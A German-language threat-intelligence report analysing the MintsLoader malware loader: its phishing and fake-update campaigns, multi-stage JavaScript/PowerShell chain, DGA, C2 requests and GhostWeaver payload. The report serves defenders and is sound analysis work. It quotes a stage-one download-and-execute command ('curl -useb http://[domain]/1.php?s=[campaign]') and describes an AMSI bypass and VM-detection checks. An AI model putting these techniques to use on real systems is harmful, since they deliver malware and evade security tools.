Aufdeckung von MintsLoader mit der Malware-Intelligence-Jagd von Recorded Future

Executive Summary

MintsLoader, ein bösartiger Loader, wurde erstmals in mehreren Phishing- und Drive-by-Download-Kampagnen bereits im Jahr 2024 beobachtet. Der Loader setzt üblicherweise Nutzlasten der zweiten Stufe ein, wie GhostWeaver, StealC und einen modifizierten BOINC (Berkeley Open Infrastructure for Network Computing) Client. MintsLoader arbeitet über eine mehrstufige Infektionskette, die verschleierte JavaScript- und PowerShell-Skripte umfasst. Die Malware nutzt Sandbox- und Virtual-Machine-Evasion-Techniken, einen Domain-Generierungsalgorithmus (DGA) und HTTP-basierte Command-and-Control-Kommunikation (C2).

MintsLoader wurde von verschiedenen Bedrohungsgruppen beobachtet; jedoch haben die Betreiber von TAG-124 (auch bekannt als LandUpdate808) es intensiv genutzt. Der Loader wird über mehrere Infektionsvektoren bereitgestellt, darunter Phishing-E-Mails, die auf die Industrie-, Rechts- und Energiesektoren abzielen (TAG-124); kompromittierte Websites, die sich als Browser-Update-Aufforderungen ausgeben (SocGholish); und als Rechnungen getarnet Köder, die über das italienische PEC-zertifizierte E-Mail-System verteilt werden.

MintsLoaders Einsatz von Verschleierungstechniken erschwert statische Erkennungen wie YARA-Regeln; die Nutzung einer DGA-basierten C2-Infrastruktur erschwert die Pflege aktueller Beobachtungs- oder Blocklisten; und die Anti-Analyse-Techniken erschweren hostbasierte Erkennungen, die auf Sandboxen oder Virtualisierung beruhen. Aber das Malware-Intelligence-Hunting von Recorded Future identifiziert neue MintsLoader-Samples und zugehörige C2-Domains und stellt eine aktuelle Liste für Blocklisten oder die Bedrohungssuche bereit.

Die hartnäckige Nutzung von Verschleierung, Sandbox-Umgehung und anpassungsfähiger Infrastruktur durch MintsLoader sorgt wahrscheinlich dafür, dass es weiterhin im Malware-Ökosystem präsent bleibt und von weiteren Bedrohungsakteuren verstärkt genutzt wird. Die Rolle der Malware als vielseitiger Übertragungsmechanismus spiegelt die zunehmende Professionalisierung und Spezialisierung innerhalb der Cyberkriminalitätsgemeinschaft wider. Während diese zunehmende Raffinesse den Bedrohungsakteuren zugutekommt, indem sie widerstandsfähigere und effizientere Operationen ermöglicht, kann sie gleichzeitig Verteidigern die Möglichkeit bieten, bösartige Aktivitäten effektiver und in größerem Umfang zu identifizieren und zu unterbrechen.

Wichtige Erkenntnisse

• Das PowerShell-Skript der zweiten Stufe von MintsLoader verwendet Techniken zur Umgehung von Sandboxen und virtuellen Umgebungen, wodurch seine Anfälligkeit für automatische Analysen verringert wird und die Wahrscheinlichkeit steigt, dass es dynamische Erkennungstools umgeht.
• Die Verwendung eines DGA durch MintsLoader zur täglichen Generierung von C2-Domains basierend auf dem Systemdatum erschwert die Überwachung der Infrastruktur sowie die Erkennung von Domänen/IPs.
• Malware Intelligence Hunting von Recorded Future bietet aktuelle C2-Domains und andere Artefakte im Zusammenhang mit MintsLoader, die sonst aufgrund ihrer dynamischen Infrastruktur schwer zu verfolgen wären.
• Die Insikt Group zeigt, dass GhostWeaver die primäre Nutzlast ist, die von MintsLoader in den beobachteten Kampagnen eingesetzt wird.
• Die selbstsignierten X.509-Zertifikate von GhostWeaver ähneln denen von AsyncRAT und dessen Varianten, was anfänglich zu falschen Assoziationen mit anderen Malware-Familien wie AsyncRAT führte.

Hintergrund

Orange Cyberdefense hat MintsLoader erstmals in groß angelegten Verteilungskampagnen zwischen Juli und Oktober 2024 entdeckt. Die Insikt Group identifizierte frühere Kampagnen im Februar 2024, basierend auf der Analyse von Palo Altos Unit42 einer SocGholish-Infektion.

Der Loader besteht aus JavaScript- (Stufe eins) und PowerShell-Skripten (Stufe zwei), die von mehreren DGA-basierten Domains abgerufen werden. Der Name „MintsLoader“ stammt von der charakteristischen Verwendung des URL-Parameters s=mints[ZAHL] (zum Beispiel s=mints11). MintsLoader wird typischerweise in Kampagnen beobachtet, die sekundäre Nutzlasten wie GhostWeaver, StealC und den Berkeley Open Infrastructure for Network Computing (BOINC)-Client bereitstellen.

Abbildung 1: MintsLoader-Profil (Quelle: Recorded Future)

Während angenommen wird, dass MintsLoader von mehreren Bedrohungsakteuren genutzt wird, wurden häufig Infektionen mit TAG-124 (auch bekannt als LandUpdate808) beobachtet, die MintsLoader einsetzen. Zusätzlich waren Bedrohungsakteure, die SocGholish verwendeten, frühe Anwender von MintsLoader, was zu der anfänglichen Einschätzung führte, dass MintsLoader-Kampagnen ausschließlich mit SocGholish in Verbindung gebracht wurden. Zum Beispiel veröffentlichte Palo Altos Unit42 im Februar 2024 Indikatoren, die mit SocGholish verknüpft sind (Abbildung 2); jedoch zeigt die Analyse der Insikt Group, dass die URLs, die AsyncRAT liefern, auch mit bekannten MintsLoader-URL-Mustern übereinstimmen.

Abbildung 2: Palo Alto SocGholish-Infektion IoCs (Quelle: Recorded Future)

Ähnlich wie im Juli 2024 berichtete Huntress Labs von einer SocGholish-Infektion, die einen BOINC-Client lieferte. Bemerkenswert ist, dass die URL, die zum Herunterladen von BOINC verwendet wird, bekannten MintsLoader-URL-Mustern entspricht. Abbildung 3 zeigt eine Übersicht auf hoher Ebene über die Bedrohungsakteure, die MintsLoader verwenden.

Abbildung 3: Die Nutzung von MintsLoader durch Bedrohungsakteure (Quelle: Recorded Future)

Nachfolgend finden Sie die kürzlich gemeldeten Kampagnen, bei denen MintsLoader eine Rolle spielt.

MintsLoader- und Kongtuke/ClickFix-Seiten

Anfang 2025 beobachteten Sicherheitsanalysten eine Phishing-Kampagne, die MintsLoader als Loader der ersten Stufe auslieferte. Phishing-E-Mails (die auf die Energie-, Öl- und Gasindustrie sowie den Rechtssektor in den USA und Europa abzielten) enthielten entweder einen bösartigen JavaScript-Anhang oder einen Link zu einer gefälschten „Click to verify“-Webseite​. Abbildung 4 zeigt Beispiele für ClickFix-Seiten.

Abbildung 4: Beispiele für ClickFix-Seiten (Quelle: https://www.hhs.gov/)

In beiden Fällen war das Ergebnis die Ausführung der PowerShell-basierten zweiten Stufe von MintsLoader auf dem Rechner des Opfers. Dieser Loader hat die endgültigen Nutzdaten heruntergeladen, insbesondere den StealC-Infostealer und ein modifiziertes BOINC-Client-Build. Die Kampagne nutzte gefälschte CAPTCHA-Verifizierungsseiten (ClickFix/KongTuke-Köder), um Benutzer dazu zu bringen, einen kopierten PowerShell-Befehl auszuführen, der MintsLoader herunterlud und ausführte (Abbildung 5).

Abbildung 5: MintsLoader ClickFix-Infektionskette (Quelle: Recorded Future)

Andere Infektionsketten in dieser Kampagne lieferten MintsLoader über eine heruntergeladene „Fattura########.js“. Datei (italienisch für „Rechnung“), die die Opfer geöffnet haben, was zur Ausführung desselben PowerShell-Loaders führte. Forscher der Threat Response Unit von eSentire berichteten über diese Kampagne und stellten fest, dass sich die Bedrohungsakteure auf Ziele im Industrie- und professionellen Dienstleistungssektor in Nordamerika und Europa konzentrieren.

SocGholish „FakeUpdates“-Kampagnen

Mehrere Berichte deuten darauf hin (1, 2), dass die Bedrohungsakteure von SocGholish (FakeUpdates) MintsLoader in ihre Operationen integriert haben. Ab etwa Juli 2024 zeigten SocGholish-Infektionen von kompromittierten Websites Infektionsketten, die den BOINC-Distributed-Computing-Client über MintsLoader installierten.

In dieser Drive-by-Kampagne, die in Abbildung 6 gezeigt wird, stießen Opfer, die legitime, aber kompromittierte Websites besuchten, auf gefälschte Browser-Update-Aufforderungen (die oft von einem update.js-Skript stammten). Wenn es ausgeführt wird, lädt das bösartige JavaScript eine verschleierte MintsLoader-Nutzlast herunter, die eine mehrstufige PowerShell-Sequenz startet.

Abbildung 6: Beispiel für gefälschte MintsLoader-Updates (Quelle: TRAC Labs)

Huntress Labs dokumentierte zwei parallele Ergebnisse: Ein Zweig führte zu einem dateilosen AsyncRAT, das im Speicher ausgeführt wird, während der andere zu einer heimlichen BOINC-Installation unter der Kontrolle des Angreifers führte. Die BOINC-Bereitstellung wurde erheblich modifiziert und so konfiguriert, dass sie eine Verbindung zu einem bösartigen C2-Server herstellt, anstatt zum Standard-BOINC-Server.

In einigen Fällen wurde die GhostWeaver PowerShell-Backdoor (von Mandiant als UNC4108 verfolgt) auch über MintsLoader bereitgestellt, was den Angreifern einen dauerhaften Zugriff und eine Plattform zum Laden zusätzlicher Plugins bietet.

Rechnungs-Phishing in Europa

Eine weitere MintsLoader-Kampagne Ende 2024 zielte auf europäische Organisationen mit als Rechnungen verschleiterten Phishing-E-Mails ab. Ein Beispiel davon ist in Abbildung 7 zu sehen. Spam-Nachrichten nutzten das italienische PEC-System (zertifizierte E-Mail), um Legitimität zu verleihen, und lockten die Empfänger dazu, angehängte JavaScript-Dateien zu öffnen, die als Rechnungen getarnt waren. Das Spamhaus-Forschungsteam nannte dies den „PEC invoice scam“ und hob hervor, wie die Angreifer vertrauenswürdige E-Mail-Kanäle missbrauchten, um Sicherheitsüberprüfungen zu umgehen. Es wurde beschrieben, dass diese Kampagne „Zeit, Geld und Vertrauen von Unternehmen stehlt“.

Abbildung 7: PEC-Phishing-E-Mail (Quelle: Spamhaus)

Technische Analyse

MintsLoader verwendet eine mehrstufige Ausführungskette, die JavaScript und PowerShell einbezieht, wobei jede Stufe Verschleierung einsetzt, um die Analyse zu behindern. Obwohl MintsLoader ausschließlich als Loader ohne zusätzliche Funktionen arbeitet, liegen seine Hauptstärken in seinen Techniken zur Umgehung von Sandboxen und virtuellen Maschinen sowie in einer DGA-Implementierung, die die C2-Domäne basierend auf dem Tag ableitet, an dem sie ausgeführt wird. Diese Funktionen erschweren die statische Analyse und die hostbasierte Erkennung erheblich. Trotzdem erfolgt die C2-Kommunikation über HTTP, was einen zuverlässigen Vektor zur Erkennung und Identifizierung neuer Proben bietet. Abbildung 8 bietet die übergeordneten Funktionen von MintsLoader.

Abbildung 8: High-Level-Funktionen von MintsLoader (Quelle: Recorded Future)

Diese Analyse von MintsLoader umfasst Details zu den Nutzlasten der ersten und zweiten Stufe sowie zur Infrastruktur von MintsLoader.

MintsLoader-Angriffskette

MintsLoader wird häufig über Phishing-E-Mails verbreitet, die Links zu KongTuke- oder ClickFix-Seiten enthalten. Wenn diese Seiten ausgeführt werden, rufen sie die erste Stufe von JavaScript ab und führen sie aus. Das JavaScript ist stark verschleiert, und die Ausführung führt zur Ausführung eines PowerShell-Befehls, um die zweite Stufe von MintsLoader herunterzuladen und auszuführen, wie in Abbildung 9 gezeigt.

Abbildung 9: Erste Stufe der MintsLoader-Infektion (Quelle: Recorded Future Malware Intelligence)

In dieser zweiten Stufe werden Umgebungsprüfungen durchgeführt, um festzustellen, ob sie in einer Sandbox oder einer virtualisierten Umgebung ausgeführt wird. Als Nächstes verwendet das Skript eine DGA, um die nächste C2-Domain zu erzeugen. MintsLoader versucht dann, die generierte Domain zu kontaktieren, um die endgültige Nutzlast herunterzuladen, wie GhostWeaver, StealC oder den BOINC-Client. Abbildung 10 zeigt einen Überblick auf hoher Ebene über diese Angriffskette.

Abbildung 10: Übliche MintsLoader-Infektionskette (Quelle: Recorded Future)

Stufe Eins: JavaScript

Die anfängliche Stufe von MintsLoader besteht aus einer JavaScript-Datei, die einen PowerShell-Befehl ausführt, um die zweite Stufe abzurufen. Das Skript ist stark verschleiert durch Junk-Kommentare, nicht lesbare Variablen- und Funktionsnamen, Zeichenersetzungen und String-Kodierung (Abbildung 11). Die Insikt Group fand 141 MintsLoader-Proben der ersten Stufe anhand von Daten aus dem Recorded Future Malware Intelligence Hunting (Anhang A).

Abbildung 11: MintsLoader Stufe eins verschleiertes JavaScript (Quelle: Recorded Future)

Die Kernfunktion der JavaScript-Nutzlast der ersten Stufe besteht darin, einen PowerShell-Befehl auszuführen, der den Befehl „curl -useb http://[domain]/1.php?s=[campaign]“ ausführt, welcher die zweite Stufe herunterlädt und ausführt. Wenn „curl“ in PowerShell mit der Option „-useb“ verwendet wird, ist es ein Alias für Invoke-WebRequest, und das Programm cURL wird nicht tatsächlich verwendet, um die HTTP-Anfrage zu stellen.

Die Insikt Group hat drei verschiedene Versionen des Stage-One-Loaders identifiziert, die alle dieselben JavaScript-Verschleierungstechniken verwenden, sich jedoch in der Implementierung der eingesetzten PowerShell unterscheiden.

Die erste Variante führt den PowerShell-Befehl im Klartext aus, wobei die C2-Domäne fest codiert ist, wie in Abbildung 12 gezeigt. Diese  Variante ist in den Kampagnen „mints13“ und „flibabc11“ zu sehen.

Abbildung 12: PowerShell-Klartextbefehl der ersten Stufe (Quelle: Recorded Future Malware Intelligence)

In der zweiten Variante wird der PowerShell-Befehl durch Zeichenersetzung verschleiert. Die C2-Domäne ist weiterhin fest kodiert, und es wird stattdessen ein Alias für den Befehl curl verwendet, aber das Ziel bleibt, die nächste Stufe herunterzuladen (Abbildung 13). Dies ist die am häufigsten verwendete Variante in den Kampagnen: „flibabc21“, „flibabc22“, „mints11“, „mints13“, „mints21“ und „mints42“.

Abbildung 13: Klartextbefehl eines verschleierten PowerShell-Kommandos der ersten Stufe (Quelle: Recorded Future Malware Intelligence)

Die dritte Variante kodiert den Befehl in Base64 (Abbildung 14). Die Insikt Group hat diese Methode bei der älteren Kampagne „mints13“ gesichtet.

Abbildung 14: Base64-Text-PowerShell-Befehls der ersten Stufe (Quelle: Recorded Future Malware Intelligence)

In dieser Version erstellt der PowerShell-Befehl jedoch eine Datei, die den PowerShell-Befehl zum Herunterladen der zweiten Stufe über cURL enthält. Anschließend wird die Datei ausgeführt und dann gelöscht.

Tabelle 1: Dekodierter Base64-Text der ersten PowerShell-Stufe (Quelle: Recorded Future)

Stufe Eins C2-Kommunikation

Die Ausführung einer beliebigen Variante führt zu einer HTTP GET-Anfrage an die fest kodierte Domain, um die Nutzlast der zweiten Stufe abzurufen. Eine erfolgreiche Anforderung wird das in Abbildung 15 gezeigte PowerShell-Skript abrufen und ausführen.

Abbildung 15: Erfolgreiche Wiederherstellung der zweiten Stufe von C2 (Quelle: Recorded Future)

Wenn die DGA-Domain nicht mehr gültig ist, wird eine 302-Antwort zurückgegeben, wie in Abbildung 16 gezeigt.

Abbildung 16: Fehlgeschlagene Stufe-zwei-Abfrage von C2 (Quelle: Recorded Future)

Stufe zwei: PowerShell

Die zweite Phase, PowerShell, enthält eine Base64-kodierte Zeichenfolge. Nach der XOR-Dekodierung und Dekomprimierung wird die primäre Nutzlast, die ebenfalls verschleiert ist, ausgegeben. Abbildung 17 zeigt einen Ausschnitt dieser Nutzlast, der die Techniken von MintsLoader zur Verschleierung von Zeichenketten veranschaulicht.

Abbildung 17: PowerShell-Obfuskation der zweiten Stufe (Quelle: Recorded Future)

Nach der anfänglichen Deobfuskation und Dekodierung beginnt die zweite Stufe von PowerShell mit dem Versuch, die Antimalware Scan-Schnittstelle (AMSI) zu umgehen, indem eine bekannte Technik verwendet wird, um einen AMSI-Initialisierungsfehler vorzutäuschen: Die Variable amsiInitFailed des System.Management.Automation.AmsiUtils-Objekts wird auf TRUE gesetzt.

Der restliche Code ist für die Ausführung von drei Systeminformationsabfragen verantwortlich: Die Rückgabewerte werden in logischen Ausdrücken verwendet, um zu erkennen, ob das System auf Bare Metal, in einer Sandbox oder auf einer virtuellen Maschine läuft. Dies wird dem C2 durch eine Integer-Variable übermittelt, die als URL-Parameter key gesendet wird, und der C2 untersucht ihren Wert, um festzustellen, ob seine Antwort eine dritte Stufe zurückgibt, die die endgültige Nutzlast herunterlädt oder einen Köder. Es sollte beachtet werden, dass die konstanten ganzzahligen Werte, die zur Inkrementierung der Schlüsselvariablen verwendet werden, sich mit jeder zweiten Stufe der Stichprobe ändern.

Das Ergebnis jeder Systeminformationsabfrage wird mit drei logischen Ausdrücken überprüft, deren Reihenfolge je nach Stichprobe variiert, sowie mit Konstanten, die den Schlüssel erhöhen, deren Ergebnisse den Wert der Schlüsselvariablen beeinflussen. Die logischen Ausdrücke liefern bei der ersten Überprüfung möglicherweise keine offensichtlichen Ergebnisse. Wenn zum Beispiel die erste entschleierte Systemprüfung, die unten in Abbildung 18 gezeigt wird, auf einer virtuellen Maschine ausgeführt würde, wäre die Variable $isVirtualMachine gleich „$true“. Der logische Ausdruck „$true -eq 3“ wird in PowerShell als „$true“ ausgewertet und erhöht den Schlüssel um 15310805757 statt um 83670406277.

Abbildung 18: PowerShell-Überprüfung der virtuellen Maschine in Phase zwei (Quelle: Recorded Future)

Die zweite Systemüberprüfung fragt das AdapterDACType-Mitglied des Win32_VideoController-WMI-Objekts ab, um den Namen oder die Kennung des Digital-Analog-Wandler-Chips (DAC) zu erhalten, wie in Abbildung 19 gezeigt. Dies bestimmt, ob das infizierte System auf einem Emulator oder virtuell ausgeführt wird. Normalerweise gibt ein Windows-System „Internal“ und/oder „Integrated RAMDAC“ zurück, was den Schlüssel in diesem Beispiel um 14467965888 erhöhen würde.

Abbildung 19: Überprüfung des PowerShell-Videocontrollers der zweiten Stufe (Quelle: Recorded Future)

Die dritte Systemprüfung fragt das Purpose-Mitglied des Win32_CacheMemory -WMI-Objekts ab, das auf einem typischen Windows-System „L1 Cache“ entspricht. Der nicht offensichtliche logische Ausdruck „$l1CachePurpose.length —gt 4“ wird im optimalen Fall ausgeführt und erhöht den key-Wert um 27424330481 im entschlüsselten Beispiel in Abbildung 20.

Abbildung 20: PowerShell-Speicherüberprüfung der zweiten Stufe (Quelle: Recorded Future)

Nach den Systemprüfungen und der Berechnung des Schlüssels wird ein zufälliger Seed basierend auf dem Datum und einer Konstante generiert, der mit einem system.Random-Objekt verwendet wird, um die Domain mithilfe einer einfachen DGA und des URL-Pfads zu konstruieren, wie in Abbildung 21 gezeigt. Der Autor hat möglicherweise einen Fehler gemacht, indem er die zweite Zufallsvariable nicht zur Konstruktion des URL-Pfads verwendet hat. Stattdessen wird eine undefinierte Variable für das URL-Pfadende verwendet, wodurch das URL-Pfadende zu einer Konstante „htr.php“ wird. Beachten Sie, dass in PowerShell curl ein Alias für Invoke-WebRequest ist, das verwendet wird, um die Anfrage an das C2 für die dritte Stufe zu generieren. Daher wird der User-Agent-HTTP-Header PowerShell-Versionsinformationen enthalten und nicht curl.

Abbildung 21: Abruf des endgültigen PowerShell-Nutzlast der zweiten Stufe (Quelle: Recorded Future)

Stufe Zwei C2-Kommunikation

Abbildung 22 zeigt ein Beispiel für eine MintsLoader-Anforderung für die endgültige Nutzlast, bei der ein URL-Pfad mit htr.php endet. Der URL-Parameter „id“ ist der Hostname, und der URL-Parameter „s“ ist die Kampagnen-ID.

Abbildung 22: Aktuelle Stufe-zwei-C2-GET-Anfrage (Quelle: Recorded Future)

Ein Beispiel für eine frühere MintsLoader-Anfrage für die dritte Stufe ist in Abbildung 23 dargestellt, wobei der URL-Pfad nicht randomisiert, sondern die konstante Zeichenfolge „2.php“ verwendet wird.

Abbildung 23: Ältere Stufe-zwei-C2-GET-Anfrage (Quelle: Recorded Future)

Wenn die Anforderung der zweiten Stufe bestimmte Anforderungen nicht erfüllt, kann die endgültige Nutzlast zu einer ausführbaren Täuschungsdatei führen (Abbildung 24), wie in diesem Beispiel, das zu einer AsyncRAT Täuschungsdatei führt, die von der Seite temp[.]sh heruntergeladen wird. Diese Verbindung mit AsyncRAT führte zur anfänglichen Benennung in Berichten und einigen Gegenmaßnahmen für den Netzwerkverkehr als „AsyncRAT Loader“, was dazu führt, dass MintsLoader-Malware-Proben fälschlicherweise als AsyncRAT gekennzeichnet werden, obwohl aktuelle MintsLoader-Kampagnen AsyncRAT nicht einsetzen.

Abbildung 24: Köderreaktion der dritten Stufe (Quelle: Recorded Future)

Ein kürzlich erfolgreicher Versuch wird in Abbildung 25 gezeigt; in diesem Beispiel ist die endgültige Nutzlast GhostWeaver.

Abbildung 25: MintsLoader GhostWeaver-Nutzlast (Quelle: Recorded Future)

GhostWeaver

Eine der am häufigsten beobachteten Nutzlasten, die von MintsLoader bereitgestellt werden, ist GhostWeaver, ein auf PowerShell basierender Remote-Access-Trojaner (RAT), der Codeähnlichkeiten und funktionale Überschneidungen mit MintsLoader aufweist. Bemerkenswerterweise kann GhostWeaver MintsLoader als zusätzliche Nutzlast über den Befehl sendPlugin bereitstellen. Die Kommunikation zwischen GhostWeaver und seinem Command-and-Control-Server (C2) wird durch TLS-Verschlüsselung mithilfe eines verschleierten, selbstsignierten X.509-Zertifikats gesichert, das direkt im PowerShell-Skript eingebettet ist und für die clientseitige Authentifizierung zur C2-Infrastruktur verwendet wird.

GhostWeaver wurde periodisch fälschlicherweise als AsyncRAT klassifiziert. Die Insikt Group schätzt mit mäßiger Zuversicht, dass diese Fehlklassifizierung darauf zurückzuführen ist, dass Palo Alto Networks zunächst eine GhostWeaver-Probe (SHA256: fb0238b388d9448a6b36aca4e6a9e4fbcbac3afc239cb70251778d40351b5765) als dateilose AsyncRAT-Variante identifiziert hat. GhostWeaver und AsyncRAT weisen in ihren selbstsignierten X.509-Zertifikaten bestimmte gemeinsame Merkmale auf, wie identische Ablaufdaten und Seriennummernlängen; jedoch spiegeln diese Ähnlichkeiten möglicherweise lediglich gemeinsame Methoden zur Zertifikatsgenerierung wider, anstatt eine bedeutsame betriebliche Überschneidung.

MintsLoader-Infrastruktur

Die Insikt Group stellte zunächst fest, dass die MintsLoader C2-Server ausschließlich auf BLNWX gehostet wurden, beobachtete jedoch später eine zunehmende Nutzung anderer ISPs wie Stark Industries Solutions Ltd (AS44477), GWY IT Pty Ltd (AS199959) oder SCALAXY-AS (58061) und andere. Die über SCALAXY-AS angekündigten MintsLoader C2-IP-Adressen werden von den Hosting-Anbietern 3NT Solutions LLP und IROKO Networks Corporation betrieben, die beide Teil des russischsprachigen Bulletproof-Hosting-Anbieters Inferno Solutions (inferno[.]name) sind. Der Wechsel zu SCALAXY-AS und Stark Industries Solutions deutet darauf hin, dass die Betreiber von MintsLoader von der Nutzung anonymer virtueller privater Server (VPS) zu traditionelleren, kugelsicheren Hostern übergegangen sind, wahrscheinlich um ihre Infrastruktur gegen Abschaltversuche zu schützen und die betriebliche Stabilität zu erhöhen.

In den vergangenen Monaten hat die Insikt Group eine Reihe von mutmaßlichen zusätzlichen Kampagnen-IDs und Nutzlasten identifiziert (Tabelle 2). Diese Daten stammen aus offenen Forschungsquellen und der internen Forschung der Insikt Group.

Tabelle 2: Verdächtige MintsLoader-Kampagnen-IDs (Quelle: Recorded Future)

Zwei zusätzliche potenzielle Kampagnen-IDs, js2 und dav, wurden im Jahr 2023 beobachtet, wobei js2 bei einer AsyncRAT-Infektion identifiziert wurde.

Um die gesamte Analyse zu lesen, klicken Sie hier, um den Bericht als PDF herunterzuladen.